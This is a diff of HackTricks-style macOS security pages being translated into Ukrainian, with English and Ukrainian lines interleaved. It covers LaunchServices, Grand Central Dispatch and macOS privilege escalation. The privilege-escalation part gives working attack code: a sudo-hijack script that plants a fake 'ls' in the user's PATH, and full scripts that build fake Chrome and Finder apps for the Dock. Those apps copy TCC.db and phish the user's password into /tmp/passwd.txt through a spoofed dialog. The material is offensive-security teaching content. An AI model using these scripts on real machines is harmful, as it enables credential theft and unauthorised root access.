If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution).
## Більший масштаб
Якщо ви плануєте спробувати впроваджувати бібліотеки в несподівані двійкові файли, ви можете перевірити повідомлення подій, щоб дізнатися, коли бібліотека завантажується всередині процесу (в цьому випадку видаліть printf і виконання `/bin/bash`).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{{#include ../../banners/hacktricks-training.md}}

80
src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md
View File

@ -4,69 +4,61 @@
## LaunchServices Database
This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types.
It's possible to dump this datase with:
Це база даних усіх встановлених додатків у macOS, яку можна запитувати для отримання інформації про кожен встановлений додаток, таку як URL-схеми, які він підтримує, та MIME-типи.
Можливо вивантажити цю базу даних за допомогою:
```
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump
```
Або використовуючи інструмент [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/usr/libexec/lsd`** є мозком бази даних. Він надає **кілька XPC сервісів** таких як `.lsd.installation`, `.lsd.open`, `.lsd.openurl` та інші. Але він також **вимагає деяких прав** для застосунків, щоб мати можливість використовувати відкриті XPC функціональності, такі як `.launchservices.changedefaulthandler` або `.launchservices.changeurlschemehandler`, щоб змінити стандартні програми для mime-типів або схем URL та інші.
**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others.
**`/System/Library/CoreServices/launchservicesd`** заявляє про сервіс `com.apple.coreservices.launchservicesd` і може бути запитаний для отримання інформації про запущені програми. Його можна запитати за допомогою системного інструменту /**`usr/bin/lsappinfo`** або з [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html).
## File Extension & URL scheme app handlers
The following line can be useful to find the applications that can open files depending on the extension:
## Обробники додатків для розширень файлів та схем URL
Наступний рядок може бути корисним для знаходження програм, які можуть відкривати файли в залежності від розширення:
```bash
/System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:"
```
Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
Або використовуйте щось на зразок [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps):
```bash
./swda getSchemes #Get all the available schemes
./swda getApps #Get all the apps declared
./swda getUTIs #Get all the UTIs
./swda getHandler --URL ftp #Get ftp handler
```
You can also check the extensions supported by an application doing:
Ви також можете перевірити розширення, підтримувані додатком, виконавши:
```
cd /Applications/Safari.app/Contents
grep -A3 CFBundleTypeExtensions Info.plist | grep string
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
<string>css</string>
<string>pdf</string>
<string>webarchive</string>
<string>webbookmark</string>
<string>webhistory</string>
<string>webloc</string>
<string>download</string>
<string>safariextz</string>
<string>gif</string>
<string>html</string>
<string>htm</string>
<string>js</string>
<string>jpg</string>
<string>jpeg</string>
<string>jp2</string>
<string>txt</string>
<string>text</string>
<string>png</string>
<string>tiff</string>
<string>tif</string>
<string>url</string>
<string>ico</string>
<string>xhtml</string>
<string>xht</string>
<string>xml</string>
<string>xbl</string>
<string>svg</string>
```
{{#include ../../banners/hacktricks-training.md}}

212
src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md
View File

@ -2,182 +2,175 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware.
**Grand Central Dispatch (GCD),** також відомий як **libdispatch** (`libdispatch.dyld`), доступний як в macOS, так і в iOS. Це технологія, розроблена Apple для оптимізації підтримки додатків для паралельного (мультитредового) виконання на багатоядерному апаратному забезпеченні.
**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores.
**GCD** надає та керує **FIFO чергами**, до яких ваш додаток може **подавати завдання** у формі **блоків об'єктів**. Блоки, подані до черг, **виконуються на пулі потоків**, повністю керованих системою. GCD автоматично створює потоки для виконання завдань у чергах і планує ці завдання для виконання на доступних ядрах.
> [!TIP]
> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary).
> Підсумовуючи, для виконання коду **паралельно**, процеси можуть надсилати **блоки коду до GCD**, який подбає про їх виконання. Тому процеси не створюють нові потоки; **GCD виконує даний код зі своїм власним пулом потоків** (який може збільшуватися або зменшуватися за необхідності).
This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way.
Це дуже корисно для успішного управління паралельним виконанням, значно зменшуючи кількість потоків, які створюють процеси, і оптимізуючи паралельне виконання. Це ідеально підходить для завдань, які вимагають **великого паралелізму** (брутфорс?) або для завдань, які не повинні блокувати основний потік: наприклад, основний потік на iOS обробляє взаємодії з UI, тому будь-яка інша функціональність, яка може призвести до зависання додатка (пошук, доступ до вебу, читання файлу...) управляється таким чином.
### Blocks
### Блоки
A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\
However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures:
Блок — це **самостійна секція коду** (як функція з аргументами, що повертає значення) і може також вказувати зв'язані змінні.\
Однак на рівні компілятора блоки не існують, вони є `os_object`s. Кожен з цих об'єктів складається з двох структур:
- **block literal**:&#x20;
- It starts by the **`isa`** field, pointing to the block's class:
- `NSConcreteGlobalBlock` (blocks from `__DATA.__const`)
- `NSConcreteMallocBlock` (blocks in the heap)
- `NSConcreateStackBlock` (blocks in stack)
- It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes
- The function pointer to call
- A pointer to the block descriptor
- Block imported variables (if any)
- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags)
- It has some reserved bytes
- The size of it
- It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`)
- If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it).
- **літерал блоку**:&#x20;
- Він починається з поля **`isa`**, що вказує на клас блоку:
- `NSConcreteGlobalBlock` (блоки з `__DATA.__const`)
- `NSConcreteMallocBlock` (блоки в купі)
- `NSConcreateStackBlock` (блоки в стеку)
- Має **`flags`** (які вказують на поля, присутні в дескрипторі блоку) і кілька зарезервованих байтів
- Вказівник на функцію для виклику
- Вказівник на дескриптор блоку
- Імпортовані змінні блоку (якщо є)
- **дескриптор блоку**: його розмір залежить від даних, що присутні (як вказано в попередніх прапорах)
- Має кілька зарезервованих байтів
- Розмір його
- Зазвичай матиме вказівник на підпис у стилі Objective-C, щоб знати, скільки місця потрібно для параметрів (прапор `BLOCK_HAS_SIGNATURE`)
- Якщо змінні посилаються, цей блок також матиме вказівники на допоміжний засіб копіювання (копіюючи значення на початку) і допоміжний засіб звільнення (вивільняючи його).
### Queues
### Черги
A dispatch queue is a named object providing FIFO ordering of blocks for executions.
Черга диспетчера — це іменований об'єкт, що забезпечує FIFO порядок блоків для виконання.
Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**.
Блоки встановлюються в черги для виконання, і ці черги підтримують 2 режими: `DISPATCH_QUEUE_SERIAL` і `DISPATCH_QUEUE_CONCURRENT`. Звичайно, **послідовна** черга **не матиме проблем з гонками**, оскільки блок не буде виконуватись, поки попередній не завершиться. Але **інший тип черги може мати їх**.
Default queues:
Черги за замовчуванням:
- `.main-thread`: From `dispatch_get_main_queue()`
- `.libdispatch-manager`: GCD's queue manager
- `.root.libdispatch-manager`: GCD's queue manager
- `.root.maintenance-qos`: Lowest priority tasks
- `.main-thread`: З `dispatch_get_main_queue()`
- `.libdispatch-manager`: Менеджер черг GCD
- `.root.libdispatch-manager`: Менеджер черг GCD
- `.root.maintenance-qos`: Завдання з найнижчим пріоритетом
- `.root.maintenance-qos.overcommit`
- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos`: Доступно як `DISPATCH_QUEUE_PRIORITY_BACKGROUND`
- `.root.background-qos.overcommit`
- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos`: Доступно як `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE`
- `.root.utility-qos.overcommit`
- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.default-qos`: Доступно як `DISPATCH_QUEUE_PRIORITY_DEFAULT`
- `.root.background-qos.overcommit`
- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.user-initiated-qos`: Доступно як `DISPATCH_QUEUE_PRIORITY_HIGH`
- `.root.background-qos.overcommit`
- `.root.user-interactive-qos`: Highest priority
- `.root.user-interactive-qos`: Найвищий пріоритет
- `.root.background-qos.overcommit`
Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point)
Зверніть увагу, що саме система вирішує, **які потоки обробляють які черги в кожен момент часу** (декілька потоків можуть працювати в одній черзі або один і той же потік може працювати в різних чергах в певний момент)
#### Attributtes
#### Атрибути
When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue.
При створенні черги з **`dispatch_queue_create`** третій аргумент є `dispatch_queue_attr_t`, який зазвичай є або `DISPATCH_QUEUE_SERIAL` (що насправді є NULL), або `DISPATCH_QUEUE_CONCURRENT`, що є вказівником на структуру `dispatch_queue_attr_t`, яка дозволяє контролювати деякі параметри черги.
### Dispatch objects
### Об'єкти диспетчера
There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`:
Існує кілька об'єктів, які використовує libdispatch, і черги та блоки — це лише 2 з них. Можна створити ці об'єкти за допомогою `dispatch_object_create`:
- `block`
- `data`: Data blocks
- `group`: Group of blocks
- `io`: Async I/O requests
- `mach`: Mach ports
- `mach_msg`: Mach messages
- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues
- `data`: Блоки даних
- `group`: Група блоків
- `io`: Асинхронні запити I/O
- `mach`: Порти Mach
- `mach_msg`: Повідомлення Mach
- `pthread_root_queue`: Черга з пулом потоків pthread і не робочими чергами
- `queue`
- `semaphore`
- `source`: Event source
- `source`: Джерело подій
## Objective-C
In Objetive-C there are different functions to send a block to be executed in parallel:
В Objective-C є різні функції для надсилання блоку для виконання паралельно:
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block.
- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Подає блок для асинхронного виконання в черзі диспетчера і повертає відразу.
- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Подає об'єкт блоку для виконання і повертає після завершення виконання цього блоку.
- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Виконує об'єкт блоку лише один раз протягом життєвого циклу програми.
- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Подає робочий елемент для виконання і повертає лише після його завершення. На відміну від [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), ця функція поважає всі атрибути черги під час виконання блоку.
These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
This is the **struct of a Block**:
Ці функції очікують такі параметри: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`**
Це **структура блоку**:
```c
struct Block {
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
void *isa; // NSConcreteStackBlock,...
int flags;
int reserved;
void *invoke;
struct BlockDescriptor *descriptor;
// captured variables go here
};
```
And this is an example to use **parallelism** with **`dispatch_async`**:
І це приклад використання **паралелізму** з **`dispatch_async`**:
```objectivec
#import <Foundation/Foundation.h>
// Define a block
void (^backgroundTask)(void) = ^{
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
// Code to be executed in the background
for (int i = 0; i < 10; i++) {
NSLog(@"Background task %d", i);
sleep(1); // Simulate a long-running task
}
};
int main(int argc, const char * argv[]) {
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
@autoreleasepool {
// Create a dispatch queue
dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Submit the block to the queue for asynchronous execution
dispatch_async(backgroundQueue, backgroundTask);
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
// Continue with other work on the main queue or thread
for (int i = 0; i < 10; i++) {
NSLog(@"Main task %d", i);
sleep(1); // Simulate a long-running task
}
}
return 0;
}
```
## Swift
**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\
The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD.
**`libswiftDispatch`** - це бібліотека, яка надає **Swift прив'язки** до фреймворку Grand Central Dispatch (GCD), який спочатку написаний на C.\
Бібліотека **`libswiftDispatch`** обгортає C GCD API в більш дружній до Swift інтерфейс, що робить роботу з GCD легшою та інтуїтивно зрозумілішою для розробників Swift.
- **`DispatchQueue.global().sync{ ... }`**
- **`DispatchQueue.global().async{ ... }`**
- **`let onceToken = DispatchOnce(); onceToken.perform { ... }`**
- **`async await`**
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Code example**:
- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`**
**Приклад коду**:
```swift
import Foundation
// Define a closure (the Swift equivalent of a block)
let backgroundTask: () -> Void = {
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
for i in 0..<10 {
print("Background task \(i)")
sleep(1) // Simulate a long-running task
}
}
// Entry point
autoreleasepool {
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Create a dispatch queue
let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue")
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Submit the closure to the queue for asynchronous execution
backgroundQueue.async(execute: backgroundTask)
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
// Continue with other work on the main queue
for i in 0..<10 {
print("Main task \(i)")
sleep(1) // Simulate a long-running task
}
}
```
## Frida
The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
Наступний скрипт Frida можна використовувати для **перехоплення кількох `dispatch`** функцій та витягнення назви черги, зворотного сліду та блоку: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js)
```bash
frida -U <prog_name> -l libdispatch.js
@ -190,12 +183,11 @@ Backtrace:
0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:]
[...]
```
## Ghidra
Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one.
Наразі Ghidra не розуміє ні структуру ObjectiveC **`dispatch_block_t`**, ні **`swift_dispatch_block`**.
So if you want it to understand them, you could just **declare them**:
Отже, якщо ви хочете, щоб вона їх розуміла, ви можете просто **оголосити їх**:
<figure><img src="../../images/image (1160).png" alt="" width="563"><figcaption></figcaption></figure>
@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
<figure><img src="../../images/image (1163).png" alt="" width="563"><figcaption></figcaption></figure>
Then, find a place in the code where they are **used**:
Потім знайдіть місце в коді, де вони **використовуються**:
> [!TIP]
> Note all of references made to "block" to understand how you could figure out that the struct is being used.
> Зверніть увагу на всі посилання на "block", щоб зрозуміти, як ви можете зрозуміти, що структура використовується.
<figure><img src="../../images/image (1164).png" alt="" width="563"><figcaption></figcaption></figure>
Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**:
Клацніть правою кнопкою миші на змінній -> Змінити тип змінної і виберіть у цьому випадку **`swift_dispatch_block`**:
<figure><img src="../../images/image (1165).png" alt="" width="563"><figcaption></figcaption></figure>
Ghidra will automatically rewrite everything:
Ghidra автоматично перепише все:
<figure><img src="../../images/image (1166).png" alt="" width="563"><figcaption></figcaption></figure>

154
src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md
View File

@ -1,10 +1,10 @@
# macOS Privilege Escalation
# macOS Привілейоване Підвищення
{{#include ../../banners/hacktricks-training.md}}
## TCC Privilege Escalation
## Привілейоване Підвищення TCC
If you came here looking for TCC privilege escalation go to:
Якщо ви прийшли сюди в пошуках привілейованого підвищення TCC, перейдіть до:
{{#ref}}
macos-security-protections/macos-tcc/
@ -12,26 +12,25 @@ macos-security-protections/macos-tcc/
## Linux Privesc
Please note that **most of the tricks about privilege escalation affecting Linux/Unix will affect also MacOS** machines. So see:
Зверніть увагу, що **більшість трюків щодо привілейованого підвищення, які впливають на Linux/Unix, також вплинуть на MacOS**. Тож дивіться:
{{#ref}}
../../linux-hardening/privilege-escalation/
{{#endref}}
## User Interaction
## Взаємодія Користувача
### Sudo Hijacking
### Викрадення Sudo
You can find the original [Sudo Hijacking technique inside the Linux Privilege Escalation post](../../linux-hardening/privilege-escalation/#sudo-hijacking).
However, macOS **maintains** the user's **`PATH`** when he executes **`sudo`**. Which means that another way to achieve this attack would be to **hijack other binaries** that the victim sill execute when **running sudo:**
Ви можете знайти оригінальну [техніку Викрадення Sudo в пості про Привілейоване Підвищення Linux](../../linux-hardening/privilege-escalation/#sudo-hijacking).
Однак, macOS **зберігає** **`PATH`** користувача, коли він виконує **`sudo`**. Це означає, що інший спосіб досягти цієї атаки полягає в тому, щоб **викрасти інші двійкові файли**, які жертва все ще виконає, коли **виконує sudo:**
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
@ -40,19 +39,17 @@ chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
Зверніть увагу, що користувач, який використовує термінал, ймовірно, має **встановлений Homebrew**. Тому можливо перехопити бінарні файли в **`/opt/homebrew/bin`**.
Note that a user that uses the terminal will highly probable have **Homebrew installed**. So it's possible to hijack binaries in **`/opt/homebrew/bin`**.
### Імітація Dock
### Dock Impersonation
Using some **social engineering** you could **impersonate for example Google Chrome** inside the dock and actually execute your own script:
Використовуючи деякі **соціальні інженерії**, ви могли б **імітувати, наприклад, Google Chrome** всередині дока і насправді виконати свій власний скрипт:
{{#tabs}}
{{#tab name="Chrome Impersonation"}}
Some suggestions:
- Check in the Dock if there is a Chrome, and in that case **remove** that entry and **add** the **fake** **Chrome entry in the same position** in the Dock array.&#x20;
Деякі пропозиції:
- Перевірте в Dock, чи є там Chrome, і в такому випадку **видаліть** цей запис і **додайте** **фальшивий** **запис Chrome в те ж саме місце** в масиві Dock.&#x20;
```bash
#!/bin/sh
@ -72,13 +69,13 @@ cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -94,22 +91,22 @@ cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -122,18 +119,16 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#tab name="Finder Impersonation"}}
Some suggestions:
- You **cannot remove Finder from the Dock**, so if you are going to add it to the Dock, you could put the fake Finder just next to the real one. For this you need to **add the fake Finder entry at the beginning of the Dock array**.
- Another option is to not place it in the Dock and just open it, "Finder asking to control Finder" is not that weird.
- Another options to **escalate to root without asking** the password with a horrible box, is make Finder really ask for the password to perform a privileged action:
- Ask Finder to copy to **`/etc/pam.d`** a new **`sudo`** file (The prompt asking for the password will indicate that "Finder wants to copy sudo")
- Ask Finder to copy a new **Authorization Plugin** (You could control the file name so the prompt asking for the password will indicate that "Finder wants to copy Finder.bundle")
Деякі пропозиції:
- Ви **не можете видалити Finder з Dock**, тому якщо ви збираєтеся додати його до Dock, ви можете поставити фальшивий Finder прямо поруч з реальним. Для цього вам потрібно **додати фальшивий запис Finder на початку масиву Dock**.
- Інший варіант - не розміщувати його в Dock і просто відкрити, "Finder просить контролювати Finder" не є таким вже дивним.
- Інший варіант **підвищити привілеї до root без запиту** пароля з жахливою коробкою, це змусити Finder дійсно запитувати пароль для виконання привілейованої дії:
- Попросіть Finder скопіювати до **`/etc/pam.d`** новий **`sudo`** файл (Запит на введення пароля вказуватиме, що "Finder хоче скопіювати sudo")
- Попросіть Finder скопіювати новий **Authorization Plugin** (Ви можете контролювати ім'я файлу, щоб запит на введення пароля вказував, що "Finder хоче скопіювати Finder.bundle")
```bash
#!/bin/sh
@ -153,13 +148,13 @@ cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
@ -175,22 +170,22 @@ cat << EOF > /tmp/Finder.app/Contents/Info.plist
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
@ -203,17 +198,15 @@ defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</
sleep 0.1
killall Dock
```
{{#endtab}}
{{#endtabs}}
## TCC - Root Privilege Escalation
## TCC - Підвищення привілеїв Root
### CVE-2020-9771 - mount_apfs TCC bypass and privilege escalation
